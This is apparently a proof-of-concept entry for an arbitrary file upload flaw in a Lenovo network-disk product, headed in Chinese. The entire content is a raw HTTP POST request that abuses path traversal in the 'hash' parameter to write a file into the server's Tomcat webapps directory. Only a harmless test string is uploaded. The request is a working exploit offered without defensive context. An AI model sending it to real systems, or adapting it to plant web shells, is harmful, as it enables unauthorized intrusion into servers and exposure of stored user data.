## 联想网盘存在任意文件上传漏洞
```

POST /write?neid=1&hash=../../../../../../../dragonball/srv/tomcat/webapps/stream_server/ttt.txt&status=1 HTTP/1.1
Host:xxxx
Cache-Control:max-age=0
Sec-Ch-Ua:"Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile:?0
Sec-Ch-Ua-Platform:"Windows"
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:none
Sec-Fetch-Mode:navigate
Sec-Fetch-User:?1
Sec-Fetch-Dest:document
Accept-Language:zh-CN,zh;q=0.9
Connection:close
Content-Type:application/octet-stream
Accept-Encoding:gzip, deflate
Content-Length:8

Testtest
```